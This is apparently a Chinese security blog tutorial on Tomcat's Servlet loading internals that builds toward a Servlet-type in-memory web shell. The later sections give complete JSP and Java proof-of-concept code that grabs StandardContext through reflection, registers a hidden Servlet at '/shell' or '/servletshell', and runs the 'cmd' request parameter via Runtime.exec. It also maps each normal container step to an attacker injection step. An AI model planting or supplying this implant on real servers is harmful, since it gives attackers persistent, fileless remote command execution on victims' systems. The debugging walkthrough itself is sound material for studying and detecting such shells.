Servlet 接口核心方法(生命周期)
| 方法 |
调用时机 |
调用次数 |
作用 |
init(ServletConfig) |
实例化后立即调用 |
1次 |
初始化,如读取配置、建立连接 |
service(ServletRequest, ServletResponse) |
每次请求到达时 |
多次 |
处理请求并生成响应 |
destroy() |
Web 应用卸载时 |
1次 |
释放资源 |
流程:init()→ service()(反复调用) → destroy()

恶意代码写在 service() 方法里面就行
流程分析
servlet 接口分别有如下几个方法:
1 2 3 4 5 6 7 8 9 10 11
| public interface Servlet { void init(ServletConfig var1) throws ServletException; ServletConfig getServletConfig(); void service(ServletRequest var1, ServletResponse var2) throws ServletException, IOException; String getServletInfo(); void destroy(); }
|
web.xml
1 2 3 4
| <servlet> <servlet-name>ServletTest</servlet-name> <servlet-class>com.example.ServletTest</servlet-class> </servlet>
|
案例代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| package com.example.demo; import javax.servlet.*; import javax.servlet.annotation.WebServlet; import java.io.IOException;
public class ServletTest implements Servlet { @Override public void init(ServletConfig config) throws ServletException { }
@Override public ServletConfig getServletConfig() { return null; }
@Override public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException { String cmd = req.getParameter("Servlet"); if (cmd !=null){ try{ Runtime.getRuntime().exec(cmd); }catch (IOException e){ e.printStackTrace(); }catch (NullPointerException n){ n.printStackTrace(); } } }
@Override public String getServletInfo() { return null; }
@Override public void destroy() {
}
}
|
先把断点下在了 service() 方法,我们可以看到这个地方是有 Filter 的流程
因为Web 应用程序的顺序是 Listener —-> Filter —-> Servlet,所以我们在调用 Servlet 的时候也会看到之前的 Listener 与 Filter 的流程

断点下到 HTTP11Processor 类的 service() 方法,因为Http11Processor.service()是 Tomcat 接收 HTTP 请求的真正入口。最终调用 Servlet.service()
org.apache.coyote.http11.Http11Processor#service

这个 HTTP11Processor 类是一个网络请求的类,它的作用是处理数据包,而它的 service() 方法主要是在处理 HTTP 包的请求头,主要做了赋值的工作,后续会通过 ByteBuff 进行数据解析。是很重要,继续往下走

跟进getAdapter().service(request, response),去到的是 CototeAdapter 类的 service() 方法里, CoyoteAdapter 是 Processor 和 Valve 之间的适配器。

传入的参数是 org.apache.coyote.Request 和 org.apache.coyote.Response 类型的对象,后面又进行了 getNote() 方法的调用。

跟进getNote() 方法

这两个 getNote() 方法都是取 notes 数组里指定 pos 的对象,也就是去 notes[1] 的这个对象,note[1] 的的值是在 CoyoteAdapter#service 里设值的。
我们继续往下看,如果 request == null,进行一系列的赋值。

后续也都是一些基础的赋值啥的,关键点是这里,这一行是 service() 方法里最关键的步骤了
1 2
| connector.getService().getContainer().getPipeline().getFirst().invoke( request, response);
|

connector.getService() 返回的是 Connector 关联的 Service 属性,也就是 StandardService 类型的对象。

connector.getService().getContainer() 返回的是 Service 里的容器 Engine 属性,也就是 StandardEngine 对象。

connector.getService().getContainer().getPipeline() 返回的是 StandardEngine 里的 Pipeline 属性,也就是 StandardPipeline 对象。

getFirst()返回的是 basic,即 StandardEngineValve实例,这是 Engine 容器的默认基础阀门,负责将请求传递给下一级容器(Host)

后续到 StandardEngineValve.invoke(),进行 host 相关判断后,后续是一系列类似 Filter 的 invoke调用链。整体是 Tomcat 对 HTTP 请求的预处理过程。
读取 web.xml
这里的断点位置是 org.apache.catalina.startup.ContextConfig#webConfig,读取 web.xml 的流程与 Listener 型内存马里面基本类似
开始调试,首先我们获取到了此项目里面的 web.xml 文件

中间内容是处理 Filter,Listener 等信息的代码,直接到 1115 行的 configureContext(webXml);

跟进,继续往下走,直到 1281 行这里,开始进行 Servlet 的读取。

创建与装载 StandardWrapper
1282 行的语句,createWrapper(),实际上就是创建了 StandardWrpper,后续代码会对它进行加载与处理。
把 web.xml里的配置(如 class 名、参数)填进去。

我们继续往下看,后续都是一些添加的操作了,这里我们先跳过了。继续往下看,1334 行,将 Wrapper 添加到 context 中,这里对应的是 StandardContext。

后续把 web.xml 中的内容装载进了 StandardWrapper 中。也就是 StandardWrapper 的装载
addChild()将 Wrapper (这个 Wrapper 后面我们会看到是 StandardWrapper)放入 StandardContext的 children集合中。

跟进 addChild() 方法,这时候去到的是 StandardContext 类的 addChild() 方法,它判断这个 Servlet 是否是 JSP 的 Servlet

运行到最后super.addChild(child);,跟进,ContainerBase 类的 addChild() 方法判断了是否开启全局安全这个配置。

跟进到 addChildInternal() 方法里面

它首先判断了 log,也就是日志功能是否开启,重点是
start 方法,就是启动一个线程,在我们 Servlet 里面,也就是开启此 Servlet 的线程,我们跟进去看 Servlet 的线程被启动之后做了什么事。

从 ContainerBase 类进入到了 LifecycleBase 类,

LifecycleBase 类的 start() 方法这里先是进行了一些基础的日志判断,后面肯定是会走到 init() 方法里面进去的,要不然刚开始 start 的一个 Servlet 直接就 stop,是不合理的。
init() 里面就是一些基础的赋值,主要看后面的重点部分 startInternal()
org.apache.catalina.util.LifecycleBase#startInternal

跟进 oorg.apache.catalina.core.StandardContext#startInternal

往下走,到 5130 行,调用了 fireLifecycleEvent(),它主要做了一个解析 web.xml 的工作。

f8 往下走,就会走到 ContextConfig#configureContext 方法这里

这里回来,又把 web.xml 的东西装了一遍,过程有点套娃,但是也可以理解。
总而言之,addChild() 方法把 servlet 放进了 children 里面,children 也就是 StandardWrapper,如图。

在 addChild() 方法之后,调用 addServletMappingDecoded() 方法添加映射关系。
将 url 路径和 servlet 类做映射。
总结一下,Servlet 的生成与动态添加依次进行了以下步骤
Tomcat 按照“读取配置 -> 创建对象 -> 注册 -> 启动 -> 绑定路由”的顺序,全自动组装了一个 Servlet。
| 阶段 |
正常 Tomcat 启动流程 (容器视角) |
内存马注入流程 (攻击者视角) |
核心目的 |
| 1. 创建对象 |
Tomcat 读取 web.xml,调用 createWrapper()创建 StandardWrapper对象。 |
通过反射调用 context.createWrapper()手动创建 StandardWrapper。 |
实例化:让容器拥有一个可以管理的 Servlet 对象。 |
| 2. 填充配置 |
解析 XML,将 <servlet-class>、<init-param>等信息 set到 Wrapper 中。 |
通过反射调用 wrapper.setName()、wrapper.setServletClass()等方法设置属性。 |
定义行为:告诉容器这个 Servlet 叫什么、代码在哪、怎么运行。 |
| 3. 注册容器 |
调用 StandardContext.addChild(wrapper),将 Wrapper 放入 childrenMap 中。 |
通过反射调用 context.addChild(wrapper)。 |
纳入管理:必须把 Servlet 放进 Context 的集合里,容器才会去调度它。 |
| 4. 启动服务 |
调用 wrapper.start()-> init()-> startInternal(),触发 Servlet 生命周期。 |
通常利用 Tomcat 自动触发的机制,或手动调用相关方法进行初始化。 |
激活代码:让 Servlet 的 init和 service方法真正跑起来。 |
| 5. 绑定路由 |
调用 addServletMappingDecoded(),将 URL 路径与 Servlet 名称关联。 |
通过反射调用 context.addServletMappingDecoded("/shell", "evilName")。 |
建立通路:让外部请求(如 /shell)能准确找到并触发这个恶意 Servlet。 |
加载 Servlets
上文我们的分析点是停在了 addChild(),以及 addChild() 之后的 addServletMappingDecoded() 映射。
这其实是因为我们当时在 StandardContext#startInternal 中,进了 fireLifecycleEvent() 方法,又做了一遍 StandardWrapper 装载的工作。


loadOnStartup控制 Servlet 是启动时加载还是懒加载;但是没啥太大影响

Servlet 内存马编写
流程总结
- 获取 HTTP 请求:与 Filter 流程相同,请求进入 Tomcat 容器。
- 读取 web.xml:在
WebConfig方法中创建 StandardWrapper,所有 Servlet 配置都保存在这个 Wrapper 中。
- Wrapper 放入 Context:
StandardWrapper被添加到 StandardContext中。
- 一个 Context 对应一个 Web 应用,可包含多个 Wrapper。
- 一个 Wrapper 对应一个 Servlet,负责管理其生命周期。
- 加载 Servlets:从 Wrapper 中读取已配置的 Servlet,关键属性是
loadOnStartup(控制启动时是否立即加载)。
击关键点
- StandardWrapper:承载恶意 Servlet 的容器对象,需要动态创建并配置。
- StandardContext:Web 应用的核心容器,负责管理所有 Wrapper,需要获取其引用。
- 恶意 Servlet:实现恶意逻辑(如命令执行)的 Servlet 实例。
获取 StandardContext 对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); %>
或
<% ServletContext servletContext = request.getSession().getServletContext(); Field appContextField = servletContext.getClass().getDeclaredField("context"); appContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); %>
|
编写恶意Servlet
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| <%! public class Shell_Servlet implements Servlet { @Override public void init(ServletConfig config) throws ServletException { } @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException { String cmd = req.getParameter("cmd"); if (cmd !=null){ try{ Runtime.getRuntime().exec(cmd); }catch (IOException e){ e.printStackTrace(); }catch (NullPointerException n){ n.printStackTrace(); } } } @Override public String getServletInfo() { return null; } @Override public void destroy() { } } %>
|
创建Wrapper对象
1 2 3 4 5 6 7 8 9
| <% Shell_Servlet shell_servlet = new Shell_Servlet(); String name = shell_servlet.getClass().getSimpleName(); Wrapper wrapper = standardContext.createWrapper(); wrapper.setLoadOnStartup(1); wrapper.setName(name); wrapper.setServlet(shell_servlet); wrapper.setServletClass(shell_servlet.getClass().getName()); %>
|
将 Wrapper 添加进 StandardContext
1 2 3 4
| <% standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/shell",name); %>
|
完整poc
Servlet 型的内存马无法使所有请求都经过恶意代码,只有访问我们设定的 url 才能触发
Servlet 型内存马的缺点就是必须要访问对应的路径才能命令执行,易被发现。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.catalina.Wrapper" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %>
<% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); %>
<%! public class Shell_Servlet implements Servlet { @Override public void init(ServletConfig config) throws ServletException { }
@Override public ServletConfig getServletConfig() { return null; }
@Override public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException { String cmd = req.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } }
@Override public String getServletInfo() { return null; }
@Override public void destroy() { } } %>
<% Shell_Servlet shell_servlet = new Shell_Servlet(); String name = shell_servlet.getClass().getSimpleName();
Wrapper wrapper = standardContext.createWrapper(); wrapper.setLoadOnStartup(1); wrapper.setName(name); wrapper.setServlet(shell_servlet); wrapper.setServletClass(shell_servlet.getClass().getName());
standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/servletshell", name); %>
|

.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100
| import org.apache.catalina.Wrapper; import org.apache.catalina.connector.Request; import org.apache.catalina.core.StandardContext;
import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.lang.reflect.Field;
public class ServletShell implements Servlet { @Override public void init(ServletConfig servletConfig) throws ServletException { }
@Override public ServletConfig getServletConfig() { return null; }
@Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { Field reqF = null; try { reqF = servletRequest.getClass().getDeclaredField("request"); } catch (NoSuchFieldException e) { e.printStackTrace(); } reqF.setAccessible(true); Request req = null; try { req = (Request) reqF.get(servletRequest); } catch (IllegalAccessException e) { e.printStackTrace(); } StandardContext standardContext = (StandardContext) req.getContext();
ServletShell servletShell = new ServletShell(); String name = servletShell.getClass().getSimpleName();
Wrapper wrapper = standardContext.createWrapper(); wrapper.setLoadOnStartup(1); wrapper.setName(name); wrapper.setServlet(servletShell); wrapper.setServletClass(servletShell.getClass().getName()); standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/shell", name);
String cmd = servletRequest.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } }
@Override public String getServletInfo() { return null; }
@Override public void destroy() { }
public synchronized HttpServletResponse getResponseFromRequest(HttpServletRequest var1) { HttpServletResponse var2 = null; try { Field var3 = var1.getClass().getDeclaredField("response"); var3.setAccessible(true); var2 = (HttpServletResponse) var3.get(var1); } catch (Exception var8) { try { Field var4 = var1.getClass().getDeclaredField("request"); var4.setAccessible(true); Object var5 = var4.get(var1); Field var6 = var5.getClass().getDeclaredField("response"); var6.setAccessible(true); var2 = (HttpServletResponse) var6.get(var5); } catch (Exception var7) { } } return var2; } }
|